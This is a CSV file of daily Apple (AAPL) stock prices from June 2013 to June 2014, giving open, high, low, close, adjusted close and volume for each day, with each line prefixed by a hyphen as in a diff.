-2013-06-06,63.638572692871094,63.85714340209961,62.00714111328125,62.637142181396484,55.67113494873047,104233500.0,AAPL
-2013-06-07,62.35714340209961,63.31999969482422,61.82428741455078,63.11571502685547,56.09648895263672,101133900.0,AAPL
-2013-06-10,63.53285598754883,64.15428924560547,62.400001525878906,62.698570251464844,55.72574234008789,112538300.0,AAPL
-2013-06-11,62.248573303222656,63.251426696777344,61.90285873413086,62.514286041259766,55.56195068359375,71528100.0,AAPL
-2013-06-12,62.78571319580078,63.03571319580078,61.64285659790039,61.74142837524414,54.875038146972656,66306800.0,AAPL
-2013-06-13,61.78571319580078,62.448570251464844,61.25,62.279998779296875,55.35371398925781,71458100.0,AAPL
-2013-06-14,62.20000076293945,62.327144622802734,61.21428680419922,61.43571472167969,54.60332107543945,67966500.0,AAPL
-2013-06-17,61.63428497314453,62.24285888671875,61.47999954223633,61.71428680419922,54.85091781616211,64853600.0,AAPL
-2013-06-18,61.65142822265625,62.128570556640625,61.45857238769531,61.681427001953125,54.82170486450195,48756400.0,AAPL
-2013-06-19,61.628570556640625,61.665714263916016,60.42856979370117,60.42856979370117,53.70819091796875,77735000.0,AAPL
-2013-06-20,59.900001525878906,60.854286193847656,59.310001373291016,59.5485725402832,52.92605209350586,89327700.0,AAPL
-2013-06-21,59.78428649902344,60.0,58.29999923706055,59.07143020629883,52.501983642578125,120279600.0,AAPL
-2013-06-24,58.20000076293945,58.380001068115234,56.86428451538086,57.505714416503906,51.110389709472656,120186500.0,AAPL
-2013-06-25,57.9571418762207,58.255714416503906,56.97571563720703,57.51856994628906,51.1218147277832,78540700.0,AAPL
-2013-06-26,57.70000076293945,57.827144622802734,56.522857666015625,56.86714172363281,50.54283905029297,91931000.0,AAPL
-2013-06-27,57.03571319580078,57.341426849365234,56.220001220703125,56.2542839050293,49.998130798339844,84311500.0,AAPL
-2013-06-28,55.908573150634766,57.181427001953125,55.5528564453125,56.64714431762695,50.34729766845703,144629100.0,AAPL
-2013-07-01,57.52714157104492,58.895713806152344,57.317142486572266,58.459999084472656,51.95854568481445,97763400.0,AAPL
-2013-07-02,58.56571578979492,60.23285675048828,58.4957160949707,59.78428649902344,53.13555145263672,117466300.0,AAPL
-2013-07-03,60.12285614013672,60.42571258544922,59.63571548461914,60.11428451538086,53.42884826660156,60232200.0,AAPL
-2013-07-05,60.05571365356445,60.470001220703125,59.33571243286133,59.63142776489258,52.99969482421875,68506200.0,AAPL
-2013-07-08,60.01571273803711,60.14285659790039,58.66428756713867,59.2928581237793,52.69878387451172,74534600.0,AAPL
-2013-07-09,59.08571243286133,60.5,58.62571334838867,60.33571243286133,53.62565231323242,88146100.0,AAPL
-2013-07-10,59.94285583496094,60.68571472167969,59.75,60.104286193847656,53.41997528076172,70351400.0,AAPL
-2013-07-11,60.42142868041992,61.17856979370117,60.16714096069336,61.04142761230469,54.25288772583008,81573100.0,AAPL
-2013-07-12,61.092857360839844,61.3985710144043,60.487144470214844,60.93000030517578,54.15385437011719,69890800.0,AAPL
-2013-07-15,60.71571350097656,61.637142181396484,60.68571472167969,61.06285858154297,54.27193832397461,60479300.0,AAPL
-2013-07-16,60.931427001953125,61.529998779296875,60.5957145690918,61.4571418762207,54.62236404418945,54134500.0,AAPL
-2013-07-17,61.38571548461914,61.7457160949707,61.174285888671875,61.47285842895508,54.63633728027344,49747600.0,AAPL
-2013-07-18,61.91143035888672,62.12428665161133,61.51571273803711,61.68000030517578,54.8204345703125,54719700.0,AAPL
-2013-07-19,61.871429443359375,61.99714279174805,60.621429443359375,60.7071418762207,53.955780029296875,67180400.0,AAPL
-2013-07-22,61.3514289855957,61.39285659790039,60.781429290771484,60.90142822265625,54.12846374511719,51949100.0,AAPL
-2013-07-23,60.85714340209961,60.994285583496094,59.81571578979492,59.855712890625,53.19903564453125,92348900.0,AAPL
-2013-07-24,62.70428466796875,63.512855529785156,62.18000030517578,62.93000030517578,55.93143081665039,147984200.0,AAPL
-2013-07-25,62.9571418762207,63.05714416503906,62.25857162475586,62.64285659790039,55.67622375488281,57373400.0,AAPL
-2013-07-26,62.18571472167969,63.005714416503906,62.0485725402832,62.998573303222656,55.99238586425781,50038100.0,AAPL
-2013-07-29,62.97142791748047,64.28428649902344,62.88571548461914,63.970001220703125,56.855770111083984,62014400.0,AAPL
-2013-07-30,64.27999877929688,65.30714416503906,64.17571258544922,64.76000213623047,57.55791473388672,77355600.0,AAPL
-2013-07-31,64.99857330322266,65.33428192138672,64.20428466796875,64.64714050292969,57.45759963989258,80739400.0,AAPL
-2013-08-01,65.10713958740234,65.25714111328125,64.75142669677734,65.23999786376953,57.984527587890625,51562700.0,AAPL
-2013-08-02,65.43000030517578,66.12142944335938,65.23714447021484,66.07714080810547,58.72856140136719,68695900.0,AAPL
-2013-08-05,66.38428497314453,67.23857116699219,66.02143096923828,67.06428527832031,59.605926513671875,79713900.0,AAPL
-2013-08-06,66.86000061035156,67.41285705566406,66.02428436279297,66.46428680419922,59.072669982910156,83714400.0,AAPL
-2013-08-07,66.25714111328125,66.71428680419922,65.9671401977539,66.42571258544922,59.03837585449219,74714500.0,AAPL
-2013-08-08,66.26571655273438,66.30000305175781,65.42142486572266,65.85857391357422,58.920799255371094,63944300.0,AAPL
-2013-08-09,65.5199966430664,65.77999877929688,64.80714416503906,64.92142486572266,58.082374572753906,66716300.0,AAPL
-2013-08-12,65.26571655273438,66.94999694824219,65.23285675048828,66.76571655273438,59.73236846923828,91108500.0,AAPL
-2013-08-13,67.27714538574219,70.66571807861328,66.86428833007812,69.93856811523438,62.57099151611328,220485300.0,AAPL
-2013-08-14,71.12571716308594,72.03571319580078,70.4857177734375,71.21428680419922,63.71232604980469,189093100.0,AAPL
-2013-08-15,70.91714477539062,71.77143096923828,69.86856842041016,71.12999725341797,63.636924743652344,122573500.0,AAPL
-2013-08-16,71.44999694824219,71.84857177734375,71.26571655273438,71.76142883300781,64.20182800292969,90576500.0,AAPL
-2013-08-19,72.04856872558594,73.39142608642578,72.0,72.53428649902344,64.89327239990234,127629600.0,AAPL
-2013-08-20,72.81571197509766,72.93856811523438,71.54571533203125,71.58142852783203,64.04080963134766,89672100.0,AAPL
-2013-08-21,71.9414291381836,72.44999694824219,71.5999984741211,71.76571655273438,64.20565032958984,83969900.0,AAPL
-2013-08-22,72.13999938964844,72.22714233398438,71.17142486572266,71.85142517089844,64.28234100341797,61051900.0,AAPL
-2013-08-23,71.89571380615234,71.90714263916016,71.3357162475586,71.57428741455078,64.03437805175781,55682900.0,AAPL
-2013-08-26,71.53571319580078,72.88571166992188,71.5,71.85285949707031,64.28360748291016,82741400.0,AAPL
-2013-08-27,71.14286041259766,71.78713989257812,69.47142791748047,69.79856872558594,62.44573211669922,106047200.0,AAPL
-2013-08-28,69.42857360839844,70.82857513427734,69.42857360839844,70.12857055664062,62.740966796875,76902000.0,AAPL
-2013-08-29,70.2357177734375,70.92857360839844,70.16143035888672,70.24285888671875,62.84321594238281,59914400.0,AAPL
-2013-08-30,70.28571319580078,70.42142486572266,69.5,69.60285949707031,62.270652770996094,68074300.0,AAPL
-2013-09-03,70.44285583496094,71.5142822265625,69.62142944335938,69.7971420288086,62.44446563720703,82982200.0,AAPL
-2013-09-04,71.36571502685547,71.74857330322266,70.89714050292969,71.2414321899414,63.73659896850586,86258200.0,AAPL
-2013-09-05,71.46428680419922,71.52571105957031,70.5199966430664,70.75285339355469,63.29949188232422,59091900.0,AAPL
-2013-09-06,71.2057113647461,71.33999633789062,69.99285888671875,71.17428588867188,63.6765251159668,89881400.0,AAPL
-2013-09-09,72.14286041259766,72.55999755859375,71.92571258544922,72.30999755859375,64.69259643554688,85171800.0,AAPL
-2013-09-10,72.31428527832031,72.49285888671875,69.92857360839844,70.66285705566406,63.21897888183594,185798900.0,AAPL
-2013-09-11,66.71571350097656,67.66999816894531,66.40142822265625,66.81571197509766,59.77711486816406,224674100.0,AAPL
-2013-09-12,66.92857360839844,67.9142837524414,66.57286071777344,67.52714538574219,60.4135856628418,101012800.0,AAPL
-2013-09-13,67.04856872558594,67.40428924560547,66.38571166992188,66.4142837524414,59.4179573059082,74708900.0,AAPL
-2013-09-16,65.85713958740234,65.94428253173828,63.888572692871094,64.3028564453125,57.528953552246094,135926700.0,AAPL
-2013-09-17,63.994285583496094,65.67285919189453,63.92856979370117,65.04571533203125,58.193565368652344,99845200.0,AAPL
-2013-09-18,66.16857147216797,66.62142944335938,65.8085708618164,66.38285827636719,59.389862060546875,114215500.0,AAPL
-2013-09-19,67.24285888671875,67.97571563720703,67.03571319580078,67.47142791748047,60.363731384277344,101135300.0,AAPL
-2013-09-20,68.28571319580078,68.36428833007812,66.57142639160156,66.77285766601562,59.73876953125,174825700.0,AAPL
-2013-09-23,70.87142944335938,70.98714447021484,68.94285583496094,70.0914306640625,62.7077522277832,190526700.0,AAPL
-2013-09-24,70.6971435546875,70.78142547607422,69.68856811523438,69.87142944335938,62.510921478271484,91086100.0,AAPL
-2013-09-25,69.88571166992188,69.94857025146484,68.77571105957031,68.79000091552734,61.54341506958008,79239300.0,AAPL
-2013-09-26,69.42857360839844,69.7942886352539,69.12857055664062,69.45999908447266,62.142822265625,59305400.0,AAPL
-2013-09-27,69.1114273071289,69.23857116699219,68.67428588867188,68.96428680419922,61.6993408203125,57010100.0,AAPL
-2013-09-30,68.17857360839844,68.8085708618164,67.77285766601562,68.10713958740234,60.93248748779297,65039100.0,AAPL
-2013-10-01,68.3499984741211,69.87714385986328,68.33999633789062,69.70857238769531,62.36520767211914,88470900.0,AAPL
-2013-10-02,69.37571716308594,70.25714111328125,69.10713958740234,69.93714141845703,62.5697021484375,72296000.0,AAPL
-2013-10-03,70.07286071777344,70.3357162475586,68.67713928222656,69.0585708618164,61.7837028503418,80688300.0,AAPL
-2013-10-04,69.12285614013672,69.22856903076172,68.37142944335938,69.00428771972656,61.735130310058594,64717100.0,AAPL
-2013-10-07,69.5085678100586,70.37857055664062,69.3357162475586,69.67857360839844,62.33837890625,78073100.0,AAPL
-2013-10-08,69.9914321899414,70.0914306640625,68.64857482910156,68.7057113647461,61.46800994873047,72729300.0,AAPL
-2013-10-09,69.23428344726562,69.68428802490234,68.32571411132812,69.51285552978516,62.190120697021484,75431300.0,AAPL
-2013-10-10,70.18856811523438,70.33999633789062,69.57714080810547,69.94857025146484,62.57993698120117,69650700.0,AAPL
-2013-10-11,69.56999969482422,70.54856872558594,69.3085708618164,70.40142822265625,62.98508834838867,66934700.0,AAPL
-2013-10-14,69.97571563720703,71.08285522460938,69.90714263916016,70.86285400390625,63.39789962768555,65474500.0,AAPL
-2013-10-15,71.07286071777344,71.71428680419922,70.78857421875,71.23999786376953,63.73532485961914,80018400.0,AAPL
-2013-10-16,71.54142761230469,71.79000091552734,71.31857299804688,71.58714294433594,64.0458984375,62775300.0,AAPL
-2013-10-17,71.42571258544922,72.1114273071289,71.38285827636719,72.07142639160156,64.47917175292969,63398300.0,AAPL
-2013-10-18,72.28428649902344,72.75142669677734,72.2442855834961,72.69857025146484,65.04023742675781,72635500.0,AAPL
-2013-10-21,73.11000061035156,74.9000015258789,73.07428741455078,74.4800033569336,66.63401794433594,99526700.0,AAPL
-2013-10-22,75.20143127441406,75.49285888671875,72.57571411132812,74.26714324951172,66.4435806274414,133515900.0,AAPL
-2013-10-23,74.14286041259766,75.09571075439453,74.14286041259766,74.9942855834961,67.0941390991211,78430800.0,AAPL
-2013-10-24,75.0,76.06714630126953,74.63571166992188,75.98714447021484,67.9823989868164,96191200.0,AAPL
-2013-10-25,75.9028549194336,76.17571258544922,75.01571655273438,75.13714599609375,67.221923828125,84448000.0,AAPL
-2013-10-28,75.57714080810547,75.85713958740234,74.7442855834961,75.6971435546875,67.72293090820312,137610200.0,AAPL
-2013-10-29,76.61000061035156,77.03571319580078,73.5057144165039,73.81143188476562,66.035888671875,158951800.0,AAPL
-2013-10-30,74.2300033569336,75.36000061035156,73.86000061035156,74.9857177734375,67.08646392822266,88540900.0,AAPL
-2013-10-31,75.0,75.355712890625,74.4671401977539,74.67142486572266,66.8052749633789,68924100.0,AAPL
-2013-11-01,74.86000061035156,74.97142791748047,73.6914291381836,74.29000091552734,66.4640121459961,68722500.0,AAPL
-2013-11-04,74.44285583496094,75.26000213623047,74.11571502685547,75.25,67.32288360595703,61156900.0,AAPL
-2013-11-05,74.94000244140625,75.55571746826172,74.71428680419922,75.06428527832031,67.15674591064453,66303300.0,AAPL
-2013-11-06,74.87857055664062,74.9800033569336,74.02857208251953,74.41714477539062,66.96648406982422,55843900.0,AAPL
-2013-11-07,74.22571563720703,74.7414321899414,73.1971435546875,73.21286010742188,65.88275146484375,65655100.0,AAPL
-2013-11-08,73.51142883300781,74.4471435546875,73.22714233398438,74.36571502685547,66.92020416259766,69829200.0,AAPL
-2013-11-11,74.28428649902344,74.52428436279297,73.48714447021484,74.1500015258789,66.72606658935547,56863100.0,AAPL
-2013-11-12,73.9528579711914,74.84571075439453,73.85713958740234,74.28713989257812,66.84947967529297,51069200.0,AAPL
-2013-11-13,74.0,74.60713958740234,73.85142517089844,74.37571716308594,66.92919158935547,49305200.0,AAPL
-2013-11-14,74.68714141845703,75.6114273071289,74.5528564453125,75.45143127441406,67.8972396850586,70604800.0,AAPL
-2013-11-15,75.22571563720703,75.58428192138672,74.92713928222656,74.99857330322266,67.48969268798828,79480100.0,AAPL
-2013-11-18,74.99857330322266,75.31285858154297,74.02857208251953,74.08999633789062,66.67208862304688,61236000.0,AAPL
-2013-11-19,74.14714050292969,74.76856994628906,73.99571228027344,74.22142791748047,66.79035949707031,52234700.0,AAPL
-2013-11-20,74.17571258544922,74.34571075439453,73.47571563720703,73.57142639160156,66.2054443359375,48479200.0,AAPL
-2013-11-21,73.94285583496094,74.45857238769531,73.38143157958984,74.44857025146484,66.99475860595703,65506700.0,AAPL
-2013-11-22,74.2171401977539,74.59428405761719,74.07571411132812,74.25714111328125,66.82249450683594,55931400.0,AAPL
-2013-11-25,74.43142700195312,75.12428283691406,74.42857360839844,74.81999969482422,67.32901000976562,57327900.0,AAPL
-2013-11-26,74.87428283691406,76.5914306640625,74.85713958740234,76.19999694824219,68.5708236694336,100345700.0,AAPL
-2013-11-27,76.61571502685547,78.0,76.19999694824219,77.9942855834961,70.18546295166016,90862100.0,AAPL
-2013-11-29,78.49714660644531,79.76142883300781,78.2585678100586,79.43856811523438,71.48515319824219,79531900.0,AAPL
-2013-12-02,79.71428680419922,80.61856842041016,78.68856811523438,78.74714660644531,70.86294555664062,118136200.0,AAPL
-2013-12-03,79.75714111328125,80.91143035888672,79.66857147216797,80.9028549194336,72.8028335571289,112742000.0,AAPL
-2013-12-04,80.78571319580078,81.31285858154297,80.11714172363281,80.71428680419922,72.63313293457031,94452400.0,AAPL
-2013-12-05,81.80714416503906,82.16285705566406,80.91571807861328,81.12857055664062,73.0059585571289,111895000.0,AAPL
-2013-12-06,80.82714080810547,80.96428680419922,79.93856811523438,80.00285339355469,71.99295043945312,86088100.0,AAPL
-2013-12-09,80.12857055664062,81.36856842041016,80.12857055664062,80.91857147216797,72.8169937133789,80123400.0,AAPL
-2013-12-10,80.51142883300781,81.12571716308594,80.17142486572266,80.79285430908203,72.70384979248047,69567400.0,AAPL
-2013-12-11,81.0,81.56714630126953,79.9557113647461,80.19428253173828,72.16520690917969,89929700.0,AAPL
-2013-12-12,80.30571746826172,80.76285552978516,80.00428771972656,80.07714080810547,72.05980682373047,65572500.0,AAPL
-2013-12-13,80.40714263916016,80.41143035888672,79.09571075439453,79.20428466796875,71.27433013916016,83205500.0,AAPL
-2013-12-16,79.28857421875,80.37714385986328,79.28713989257812,79.64286041259766,71.66897583007812,70648200.0,AAPL
-2013-12-17,79.40142822265625,79.91999816894531,79.05428314208984,79.28428649902344,71.34632110595703,57475600.0,AAPL
-2013-12-18,78.52857208251953,78.77857208251953,76.97142791748047,78.68142700195312,70.80384063720703,141465800.0,AAPL
-2013-12-19,78.5,78.57142639160156,77.67571258544922,77.77999877929688,69.99264526367188,80077200.0,AAPL
-2013-12-20,77.91857147216797,78.80142974853516,77.83142852783203,78.43142700195312,70.57884216308594,109103400.0,AAPL
-2013-12-23,81.14286041259766,81.53142547607422,80.394287109375,81.4414291381836,73.28750610351562,125326600.0,AAPL
-2013-12-24,81.41285705566406,81.6971435546875,80.8614273071289,81.09571075439453,72.97638702392578,41888700.0,AAPL
-2013-12-26,81.15714263916016,81.35713958740234,80.48285675048828,80.55714416503906,72.49173736572266,51002000.0,AAPL
-2013-12-27,80.54571533203125,80.62999725341797,79.92857360839844,80.01285552978516,72.00192260742188,56471100.0,AAPL
-2013-12-30,79.63714599609375,80.01285552978516,78.9028549194336,79.2171401977539,71.28590393066406,63407400.0,AAPL
-2013-12-31,79.16714477539062,80.18285369873047,79.14286041259766,80.14571380615234,72.12151336669922,55771100.0,AAPL
-2014-01-02,79.38285827636719,79.57571411132812,78.86000061035156,79.01856994628906,71.1072006225586,58671200.0,AAPL
-2014-01-03,78.9800033569336,79.0999984741211,77.20428466796875,77.2828598022461,69.5452880859375,98116900.0,AAPL
-2014-01-06,76.77857208251953,78.11428833007812,76.22856903076172,77.70428466796875,69.92451477050781,103152700.0,AAPL
-2014-01-07,77.76000213623047,77.9942855834961,76.84571075439453,77.14857482910156,69.4244384765625,79302300.0,AAPL
-2014-01-08,76.97285461425781,77.93714141845703,76.9557113647461,77.63714599609375,69.86410522460938,64632400.0,AAPL
-2014-01-09,78.11428833007812,78.12285614013672,76.47856903076172,76.64571380615234,68.97193908691406,69787200.0,AAPL
-2014-01-10,77.11856842041016,77.25714111328125,75.87285614013672,76.13428497314453,68.5116958618164,76244000.0,AAPL
-2014-01-13,75.70143127441406,77.5,75.6971435546875,76.5328598022461,68.87035369873047,94623200.0,AAPL
-2014-01-14,76.8885726928711,78.10428619384766,76.8085708618164,78.05571746826172,70.24077606201172,83140400.0,AAPL
-2014-01-15,79.07428741455078,80.02857208251953,78.8085708618164,79.62285614013672,71.65101623535156,97909700.0,AAPL
-2014-01-16,79.27143096923828,79.55000305175781,78.81143188476562,79.17857360839844,71.25119018554688,57319500.0,AAPL
-2014-01-17,78.7828598022461,78.86714172363281,77.12857055664062,77.23857116699219,69.50541687011719,106684900.0,AAPL
-2014-01-21,77.28428649902344,78.58142852783203,77.2028579711914,78.43856811523438,70.58527374267578,82131700.0,AAPL
-2014-01-22,78.70143127441406,79.61285400390625,78.2585678100586,78.78713989257812,70.8989486694336,94996300.0,AAPL
-2014-01-23,78.56285858154297,79.5,77.83000183105469,79.45428466796875,71.49931335449219,100809800.0,AAPL
-2014-01-24,79.14286041259766,79.37428283691406,77.82142639160156,78.01000213623047,70.19963836669922,107338700.0,AAPL
-2014-01-27,78.58142852783203,79.25714111328125,77.96428680419922,78.64286041259766,70.76910400390625,138719700.0,AAPL
-2014-01-28,72.68000030517578,73.57142639160156,71.72428894042969,72.35713958740234,65.11274719238281,266380800.0,AAPL
-2014-01-29,71.99285888671875,72.48143005371094,71.23143005371094,71.53571319580078,64.37353515625,125702500.0,AAPL
-2014-01-30,71.79142761230469,72.35713958740234,70.95714569091797,71.39714050292969,64.24883270263672,169625400.0,AAPL
-2014-01-31,70.73999786376953,71.64714050292969,70.50714111328125,71.5142822265625,64.354248046875,116199300.0,AAPL
-2014-02-03,71.80142974853516,72.5328598022461,71.32857513427734,71.64714050292969,64.47380065917969,100366000.0,AAPL
-2014-02-04,72.2642822265625,72.77999877929688,71.82286071777344,72.68428802490234,65.40713500976562,94170300.0,AAPL
-2014-02-05,72.36571502685547,73.6114273071289,72.32142639160156,73.22714233398438,65.8956298828125,82086200.0,AAPL
-2014-02-06,72.86571502685547,73.35713958740234,72.5442886352539,73.21571350097656,66.27969360351562,64441300.0,AAPL
-2014-02-07,74.48285675048828,74.70428466796875,73.91143035888672,74.23999786376953,67.20696258544922,92570100.0,AAPL
-2014-02-10,74.09428405761719,75.99857330322266,74.0,75.56999969482422,68.41094970703125,86389800.0,AAPL
-2014-02-11,75.80142974853516,76.82142639160156,75.64286041259766,76.56571197509766,69.31233215332031,70564200.0,AAPL
-2014-02-12,76.70714569091797,77.08000183105469,76.17713928222656,76.55999755859375,69.30716705322266,77025200.0,AAPL
-2014-02-13,76.37999725341797,77.8357162475586,76.31428527832031,77.77571105957031,70.40770721435547,76849500.0,AAPL
-2014-02-14,77.49571228027344,77.99714660644531,77.31571197509766,77.71286010742188,70.350830078125,68231100.0,AAPL
-2014-02-18,78.0,78.7414321899414,77.94428253173828,77.99857330322266,70.6094741821289,65062900.0,AAPL
-2014-02-19,77.82142639160156,78.12714385986328,76.3357162475586,76.76714324951172,69.49470520019531,78442000.0,AAPL
-2014-02-20,76.14142608642578,76.71428680419922,75.57142639160156,75.87857055664062,68.6903076171875,76464500.0,AAPL
-2014-02-21,76.11285400390625,76.36714172363281,74.94285583496094,75.03571319580078,67.92729187011719,69696200.0,AAPL
-2014-02-24,74.7357177734375,75.7028579711914,74.63143157958984,75.36428833007812,68.22474670410156,72227400.0,AAPL
-2014-02-25,75.62571716308594,75.6528549194336,74.42857360839844,74.58000183105469,67.51473999023438,57988000.0,AAPL
-2014-02-26,74.80142974853516,75.0,73.65714263916016,73.90714263916016,66.90563201904297,69054300.0,AAPL
-2014-02-27,73.87714385986328,75.54000091552734,73.72142791748047,75.38143157958984,68.24026489257812,75470500.0,AAPL
-2014-02-28,75.58285522460938,76.10713958740234,74.58856964111328,75.17713928222656,68.05531311035156,92992200.0,AAPL
-2014-03-03,74.77428436279297,75.80714416503906,74.68714141845703,75.394287109375,68.25189971923828,59695300.0,AAPL
-2014-03-04,75.85713958740234,76.0914306640625,75.39571380615234,75.89142608642578,68.70194244384766,64785000.0,AAPL
-2014-03-05,75.84571075439453,76.39286041259766,75.58999633789062,76.05142974853516,68.84678649902344,50015700.0,AAPL
-2014-03-06,76.11285400390625,76.34857177734375,75.44285583496094,75.82142639160156,68.6385726928711,46372200.0,AAPL
-2014-03-07,75.87000274658203,75.99714660644531,75.1500015258789,75.77714538574219,68.59848022460938,55182400.0,AAPL
-2014-03-10,75.4800033569336,76.19000244140625,75.47714233398438,75.84571075439453,68.66055297851562,44646000.0,AAPL
-2014-03-11,76.49285888671875,76.96286010742188,76.08428192138672,76.58428192138672,69.32913970947266,69806100.0,AAPL
-2014-03-12,76.35857391357422,76.7642822265625,76.0,76.6585693359375,69.39640045166016,49831600.0,AAPL
-2014-03-13,76.77714538574219,77.09428405761719,75.59428405761719,75.80714416503906,68.6256332397461,64435700.0,AAPL
-2014-03-14,75.54142761230469,75.8414306640625,74.71428680419922,74.9557113647461,67.85487365722656,59299800.0,AAPL
-2014-03-17,75.38571166992188,75.70999908447266,75.12142944335938,75.24857330322266,68.12000274658203,49886200.0,AAPL
-2014-03-18,75.12857055664062,75.99571228027344,75.02857208251953,75.9142837524414,68.72264862060547,52411800.0,AAPL
-2014-03-19,76.03713989257812,76.605712890625,75.57142639160156,75.894287109375,68.70453643798828,56189000.0,AAPL
-2014-03-20,75.69857025146484,76.09571075439453,75.3357162475586,75.52857208251953,68.37345886230469,52099600.0,AAPL
-2014-03-21,75.98999786376953,76.25,75.19000244140625,76.12428283691406,68.91271209716797,93511600.0,AAPL
-2014-03-24,76.91714477539062,77.21428680419922,76.43714141845703,77.02714538574219,69.73005676269531,88925200.0,AAPL
-2014-03-25,77.35713958740234,77.96428680419922,77.08428192138672,77.855712890625,70.48014831542969,70573300.0,AAPL
-2014-03-26,78.07428741455078,78.42857360839844,76.9800033569336,77.1114273071289,69.80635833740234,74942000.0,AAPL
-2014-03-27,77.14571380615234,77.35713958740234,76.44571685791016,76.77999877929688,69.50633239746094,55507900.0,AAPL
-2014-03-28,76.9028549194336,76.9914321899414,76.32142639160156,76.69428253173828,69.42874908447266,50141000.0,AAPL
-2014-03-31,77.0328598022461,77.2585678100586,76.56143188476562,76.67713928222656,69.41321563720703,42167300.0,AAPL
-2014-04-01,76.82286071777344,77.41000366210938,76.68142700195312,77.37857055664062,70.04820251464844,50190000.0,AAPL
-2014-04-02,77.48285675048828,77.63999938964844,77.18000030517578,77.50714111328125,70.16458129882812,45105200.0,AAPL
-2014-04-03,77.3414306640625,77.5,76.80571746826172,76.97000122070312,69.67832946777344,40586000.0,AAPL
-2014-04-04,77.11571502685547,77.14286041259766,75.7971420288086,75.97428894042969,68.77696228027344,68812800.0,AAPL
-2014-04-07,75.43142700195312,75.84285736083984,74.55571746826172,74.78142547607422,67.69710540771484,72462600.0,AAPL
-2014-04-08,75.02714538574219,75.16000366210938,74.0999984741211,74.77714538574219,67.69322204589844,60972100.0,AAPL
-2014-04-09,74.66285705566406,75.78428649902344,74.57428741455078,75.76000213623047,68.58296203613281,51542400.0,AAPL
-2014-04-10,75.81143188476562,76.03428649902344,74.73857116699219,74.7828598022461,67.69839477539062,59913000.0,AAPL
-2014-04-11,74.14286041259766,74.69000244140625,73.87714385986328,74.2300033569336,67.19790649414062,67929400.0,AAPL
-2014-04-14,74.55714416503906,74.59428405761719,73.88714599609375,74.52571105957031,67.4655990600586,51418500.0,AAPL
-2014-04-15,74.32428741455078,74.5199966430664,73.0471420288086,73.9942855834961,66.9845199584961,66622500.0,AAPL
-2014-04-16,74.00714111328125,74.4414291381836,73.44857025146484,74.144287109375,67.12030029296875,53691400.0,AAPL
-2014-04-17,74.28571319580078,75.394287109375,74.17142486572266,74.9914321899414,67.8871841430664,71083600.0,AAPL
-2014-04-21,75.04856872558594,76.0199966430664,74.85142517089844,75.88143157958984,68.6928939819336,45637200.0,AAPL
-2014-04-22,75.47285461425781,75.97571563720703,75.21428680419922,75.95714569091797,68.76143646240234,50640800.0,AAPL
-2014-04-23,75.58000183105469,75.87571716308594,74.92142486572266,74.96428680419922,67.86262512207031,98735000.0,AAPL
-2014-04-24,81.17285919189453,81.42857360839844,80.10428619384766,81.11000061035156,73.4261245727539,189977900.0,AAPL
-2014-04-25,80.64714050292969,81.71286010742188,80.56571197509766,81.7057113647461,73.96542358398438,97568800.0,AAPL
-2014-04-28,81.82857513427734,85.10713958740234,81.79285430908203,84.87000274658203,76.82992553710938,167371400.0,AAPL
-2014-04-29,84.81999969482422,85.13999938964844,84.21571350097656,84.61856842041016,76.60232543945312,84344400.0,AAPL
-2014-04-30,84.66285705566406,85.63285827636719,84.25714111328125,84.29856872558594,76.31263732910156,114160200.0,AAPL
-2014-05-01,84.57142639160156,84.97142791748047,83.76571655273438,84.49714660644531,76.49241638183594,61012000.0,AAPL
-2014-05-02,84.62000274658203,84.88571166992188,84.2442855834961,84.65428924560547,76.63465881347656,47878600.0,AAPL
-2014-05-05,84.30571746826172,85.85713958740234,84.28571319580078,85.85142517089844,77.71839904785156,71766800.0,AAPL
-2014-05-06,85.97142791748047,86.34428405761719,84.91571807861328,84.91571807861328,76.871337890625,93641100.0,AAPL
-2014-05-07,85.03571319580078,85.32714080810547,83.96142578125,84.61856842041016,76.60232543945312,70716100.0,AAPL
-2014-05-08,84.03571319580078,84.91571807861328,83.77143096923828,83.99857330322266,76.46578216552734,57574300.0,AAPL
-2014-05-09,83.5057144165039,83.75,82.90428924560547,83.64857482910156,76.14716339111328,72899400.0,AAPL
-2014-05-12,83.92713928222656,84.8085708618164,83.9142837524414,84.69000244140625,77.09522247314453,53302200.0,AAPL
-2014-05-13,84.57142639160156,84.93428802490234,84.38571166992188,84.82286071777344,77.21614074707031,39934300.0,AAPL
-2014-05-14,84.63285827636719,85.34285736083984,84.53428649902344,84.83856964111328,77.23043823242188,41601000.0,AAPL
-2014-05-15,84.95714569091797,85.22856903076172,84.0057144165039,84.11714172363281,76.5737075805664,57711500.0,AAPL
-2014-05-16,84.08999633789062,85.3614273071289,83.62857055664062,85.35857391357422,77.70381164550781,69064100.0,AAPL
-2014-05-19,85.40714263916016,86.76142883300781,85.33285522460938,86.37000274658203,78.62455749511719,79438800.0,AAPL
-2014-05-20,86.35857391357422,86.62857055664062,85.81857299804688,86.38714599609375,78.64015197753906,58709000.0,AAPL
-2014-05-21,86.26142883300781,86.67142486572266,86.0085678100586,86.61571502685547,78.84822845458984,49214900.0,AAPL
-2014-05-22,86.65714263916016,87.12142944335938,86.30000305175781,86.75285339355469,78.97305297851562,50190000.0,AAPL
-2014-05-23,86.75,87.81857299804688,86.6385726928711,87.73285675048828,79.86518096923828,58052400.0,AAPL
-2014-05-27,87.98285675048828,89.4085693359375,87.9471435546875,89.37571716308594,81.36071014404297,87216500.0,AAPL
-2014-05-28,89.43142700195312,89.97571563720703,89.1114273071289,89.144287109375,81.15003204345703,78870400.0,AAPL
-2014-05-29,89.69285583496094,90.98143005371094,89.68142700195312,90.76856994628906,82.62864685058594,94118500.0,AAPL
-2014-05-30,91.13999938964844,92.02428436279297,89.84285736083984,90.42857360839844,82.31915283203125,141005200.0,AAPL
-2014-06-02,90.56571197509766,90.69000244140625,88.92857360839844,89.80714416503906,81.75345611572266,92337700.0,AAPL
-2014-06-03,89.77999877929688,91.24857330322266,89.75,91.07714080810547,82.90956115722656,73177300.0,AAPL
-2014-06-04,91.06285858154297,92.55571746826172,90.87285614013672,92.11714172363281,83.85628509521484,83870500.0,AAPL
-2014-06-05,92.31428527832031,92.76714324951172,91.80142974853516,92.47856903076172,84.1853256225586,75951400.0,AAPL
-2014-06-06,92.84285736083984,93.03713989257812,92.06714630126953,92.22428894042969,83.95381927490234,87484600.0,AAPL
-2014-06-09,92.69999694824219,93.87999725341797,91.75,93.69999694824219,85.29718780517578,75415000.0,AAPL
-2014-06-10,94.7300033569336,95.05000305175781,93.56999969482422,94.25,85.79788208007812,62777000.0,AAPL
-2014-06-11,94.12999725341797,94.76000213623047,93.47000122070312,93.86000061035156,85.4428482055664,45681000.0,AAPL
